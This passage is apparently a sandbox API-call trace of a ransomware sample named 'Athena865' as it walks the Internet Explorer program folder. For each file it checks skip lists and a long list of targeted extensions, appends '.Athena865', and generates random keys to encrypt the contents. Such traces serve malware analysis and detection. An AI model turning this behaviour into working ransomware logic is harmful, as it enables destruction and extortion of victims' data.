(lpString1="l.exe", lpString2="xmlff") returned -1 [0042.394] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe.Athena865") returned 63 [0042.394] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ieinstal.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ieinstal.exe.athena865"), dwFlags=0x1) returned 1 [0042.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ieinstal.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.395] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=373248) returned 1 [0042.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.396] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.396] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.396] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.397] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.397] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.397] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b500, lpName=0x0) returned 0x17c [0042.398] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b500) returned 0x1f0000 [0042.411] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.412] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.412] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.413] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0042.416] CloseHandle (hObject=0x17c) returned 1 [0042.416] CloseHandle (hObject=0x154) returned 1 [0042.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.422] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.424] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27a3bdc, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb27a3bdc, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6b1085f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".") returned 1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="..") returned 1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="windows") returned -1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="bootmgr") returned 1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="temp") returned -1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="pagefile.sys") returned -1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="boot") returned 1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="ids.txt") returned 1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="ntuser.dat") returned -1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="perflogs") returned -1 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2="MSBuild") returned -1 [0042.424] lstrlenW (lpString="ielowutil.exe") returned 13 [0042.424] lstrcpyW (in: lpString1=0x241e89a, lpString2="ielowutil.exe" | out: lpString1="ielowutil.exe") returned="ielowutil.exe" [0042.424] lstrlenW (lpString="ielowutil.exe") returned 13 [0042.424] lstrlenW (lpString="Athena865") returned 9 [0042.424] lstrcmpiW (lpString1="wutil.exe", lpString2="Athena865") returned 1 [0042.424] lstrlenW (lpString=".dll") returned 4 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".dll") returned 1 [0042.424] lstrlenW (lpString=".lnk") returned 4 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".lnk") returned 1 [0042.424] lstrlenW (lpString=".ini") returned 4 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".ini") returned 1 [0042.424] lstrlenW (lpString=".sys") returned 4 [0042.424] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".sys") returned 1 [0042.424] lstrlenW (lpString="ielowutil.exe") returned 13 [0042.424] lstrlenW (lpString="bak") returned 3 [0042.424] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.424] lstrlenW (lpString="ba_") returned 3 [0042.424] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.424] lstrlenW (lpString="dbb") returned 3 [0042.424] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.424] lstrlenW (lpString="vmdk") returned 4 [0042.424] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.425] lstrlenW (lpString="rar") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.425] lstrlenW (lpString="zip") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.425] lstrlenW (lpString="tgz") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.425] lstrlenW (lpString="vbox") returned 4 [0042.425] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.425] lstrlenW (lpString="vdi") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.425] lstrlenW (lpString="vhd") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.425] lstrlenW (lpString="vhdx") returned 4 [0042.425] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.425] lstrlenW (lpString="avhd") returned 4 [0042.425] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.425] lstrlenW (lpString="db") returned 2 [0042.425] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.425] lstrlenW (lpString="db2") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.425] lstrlenW (lpString="db3") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.425] lstrlenW (lpString="dbf") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.425] lstrlenW (lpString="mdf") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.425] lstrlenW (lpString="mdb") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.425] lstrlenW (lpString="sql") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.425] lstrlenW (lpString="sqlite") returned 6 [0042.425] lstrcmpiW (lpString1="il.exe", lpString2="sqlite") returned -1 [0042.425] lstrlenW (lpString="sqlite3") returned 7 [0042.425] lstrcmpiW (lpString1="til.exe", lpString2="sqlite3") returned 1 [0042.425] lstrlenW (lpString="sqlitedb") returned 8 [0042.425] lstrcmpiW (lpString1="util.exe", lpString2="sqlitedb") returned 1 [0042.425] lstrlenW (lpString="xml") returned 3 [0042.425] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.426] lstrlenW (lpString="$er") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.426] lstrlenW (lpString="4dd") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.426] lstrlenW (lpString="4dl") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.426] lstrlenW (lpString="^^^") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.426] lstrlenW (lpString="abs") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.426] lstrlenW (lpString="abx") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.426] lstrlenW (lpString="accdb") returned 5 [0042.426] lstrcmpiW (lpString1="l.exe", lpString2="accdb") returned 1 [0042.426] lstrlenW (lpString="accdc") returned 5 [0042.426] lstrcmpiW (lpString1="l.exe", lpString2="accdc") returned 1 [0042.426] lstrlenW (lpString="accde") returned 5 [0042.426] lstrcmpiW (lpString1="l.exe", lpString2="accde") returned 1 [0042.426] lstrlenW (lpString="accdr") returned 5 [0042.426] lstrcmpiW (lpString1="l.exe", lpString2="accdr") returned 1 [0042.426] lstrlenW (lpString="accdt") returned 5 [0042.426] lstrcmpiW (lpString1="l.exe", lpString2="accdt") returned 1 [0042.426] lstrlenW (lpString="accdw") returned 5 [0042.426] lstrcmpiW (lpString1="l.exe", lpString2="accdw") returned 1 [0042.426] lstrlenW (lpString="accft") returned 5 [0042.426] lstrcmpiW (lpString1="l.exe", lpString2="accft") returned 1 [0042.426] lstrlenW (lpString="adb") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.426] lstrlenW (lpString="adb") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.426] lstrlenW (lpString="ade") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.426] lstrlenW (lpString="adf") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.426] lstrlenW (lpString="adn") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.426] lstrlenW (lpString="adp") returned 3 [0042.426] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.426] lstrlenW (lpString="alf") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.427] lstrlenW (lpString="ask") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.427] lstrlenW (lpString="btr") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.427] lstrlenW (lpString="cat") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.427] lstrlenW (lpString="cdb") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.427] lstrlenW (lpString="ckp") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.427] lstrlenW (lpString="cma") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.427] lstrlenW (lpString="cpd") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.427] lstrlenW (lpString="dacpac") returned 6 [0042.427] lstrcmpiW (lpString1="il.exe", lpString2="dacpac") returned 1 [0042.427] lstrlenW (lpString="dad") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.427] lstrlenW (lpString="dadiagrams") returned 10 [0042.427] lstrcmpiW (lpString1="owutil.exe", lpString2="dadiagrams") returned 1 [0042.427] lstrlenW (lpString="daschema") returned 8 [0042.427] lstrcmpiW (lpString1="util.exe", lpString2="daschema") returned 1 [0042.427] lstrlenW (lpString="db-journal") returned 10 [0042.427] lstrcmpiW (lpString1="owutil.exe", lpString2="db-journal") returned 1 [0042.427] lstrlenW (lpString="db-shm") returned 6 [0042.427] lstrcmpiW (lpString1="il.exe", lpString2="db-shm") returned 1 [0042.427] lstrlenW (lpString="db-wal") returned 6 [0042.427] lstrcmpiW (lpString1="il.exe", lpString2="db-wal") returned 1 [0042.427] lstrlenW (lpString="dbc") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.427] lstrlenW (lpString="dbs") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.427] lstrlenW (lpString="dbt") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.427] lstrlenW (lpString="dbv") returned 3 [0042.427] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.427] lstrlenW (lpString="dbx") returned 3 [0042.428] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.428] lstrlenW (lpString="dcb") returned 3 [0042.428] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.428] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.428] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe.Athena865") returned 64 [0042.428] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ielowutil.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ielowutil.exe.athena865"), dwFlags=0x1) returned 1 [0042.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ielowutil.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.429] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=115712) returned 1 [0042.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.429] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.430] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.430] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.430] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c700, lpName=0x0) returned 0x17c [0042.431] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c700) returned 0x100000 [0042.436] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.437] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.437] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.437] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.438] CloseHandle (hObject=0x17c) returned 1 [0042.438] CloseHandle (hObject=0x154) returned 1 [0042.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.441] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb23391ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb23391ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23854ab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0042.441] lstrcmpiW (lpString1="ieproxy.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.441] lstrcmpiW (lpString1="ieproxy.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".") returned 1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="..") returned 1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="windows") returned -1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="bootmgr") returned 1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="temp") returned -1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="pagefile.sys") returned -1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="boot") returned 1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="ids.txt") returned 1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="ntuser.dat") returned -1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="perflogs") returned -1 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2="MSBuild") returned -1 [0042.442] lstrlenW (lpString="ieproxy.dll") returned 11 [0042.442] lstrcpyW (in: lpString1=0x241e89a, lpString2="ieproxy.dll" | out: lpString1="ieproxy.dll") returned="ieproxy.dll" [0042.442] lstrlenW (lpString="ieproxy.dll") returned 11 [0042.442] lstrlenW (lpString="Athena865") returned 9 [0042.442] lstrcmpiW (lpString1="proxy.dll", lpString2="Athena865") returned 1 [0042.442] lstrlenW (lpString=".dll") returned 4 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".dll") returned 1 [0042.442] lstrlenW (lpString=".lnk") returned 4 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".lnk") returned 1 [0042.442] lstrlenW (lpString=".ini") returned 4 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".ini") returned 1 [0042.442] lstrlenW (lpString=".sys") returned 4 [0042.442] lstrcmpiW (lpString1="ieproxy.dll", lpString2=".sys") returned 1 [0042.442] lstrlenW (lpString="ieproxy.dll") returned 11 [0042.442] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll.Athena865") returned 62 [0042.442] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files (x86)\\internet explorer\\ieproxy.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ieproxy.dll.athena865"), dwFlags=0x1) returned 1 [0042.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ieproxy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.443] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=163328) returned 1 [0042.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.443] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.444] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.444] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.444] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28100, lpName=0x0) returned 0x17c [0042.446] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28100) returned 0x170000 [0042.452] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.452] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.452] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.453] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0042.454] CloseHandle (hObject=0x17c) returned 1 [0042.454] CloseHandle (hObject=0x154) returned 1 [0042.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.458] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27fbdf3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb27fbdf3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2=".") returned 1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="..") returned 1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="windows") returned -1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="bootmgr") returned 1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="temp") returned -1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="pagefile.sys") returned -1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="boot") returned 1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="ids.txt") returned 1 [0042.458] lstrcmpiW (lpString1="IEShims.dll", lpString2="ntuser.dat") returned -1 [0042.459] lstrcmpiW (lpString1="IEShims.dll", lpString2="perflogs") returned -1 [0042.459] lstrcmpiW (lpString1="IEShims.dll", lpString2="MSBuild") returned -1 [0042.459] lstrlenW (lpString="IEShims.dll") returned 11 [0042.459] lstrcpyW (in: lpString1=0x241e89a, lpString2="IEShims.dll" | out: lpString1="IEShims.dll") returned="IEShims.dll" [0042.459] lstrlenW (lpString="IEShims.dll") returned 11 [0042.459] lstrlenW (lpString="Athena865") returned 9 [0042.459] lstrcmpiW (lpString1="Shims.dll", lpString2="Athena865") returned 1 [0042.459] lstrlenW (lpString=".dll") returned 4 [0042.459] lstrcmpiW (lpString1="IEShims.dll", lpString2=".dll") returned 1 [0042.459] lstrlenW (lpString=".lnk") returned 4 [0042.459] lstrcmpiW (lpString1="IEShims.dll", lpString2=".lnk") returned 1 [0042.459] lstrlenW (lpString=".ini") returned 4 [0042.459] lstrcmpiW (lpString1="IEShims.dll", lpString2=".ini") returned 1 [0042.459] lstrlenW (lpString=".sys") returned 4 [0042.459] lstrcmpiW (lpString1="IEShims.dll", lpString2=".sys") returned 1 [0042.459] lstrlenW (lpString="IEShims.dll") returned 11 [0042.459] wsprintfW (in: 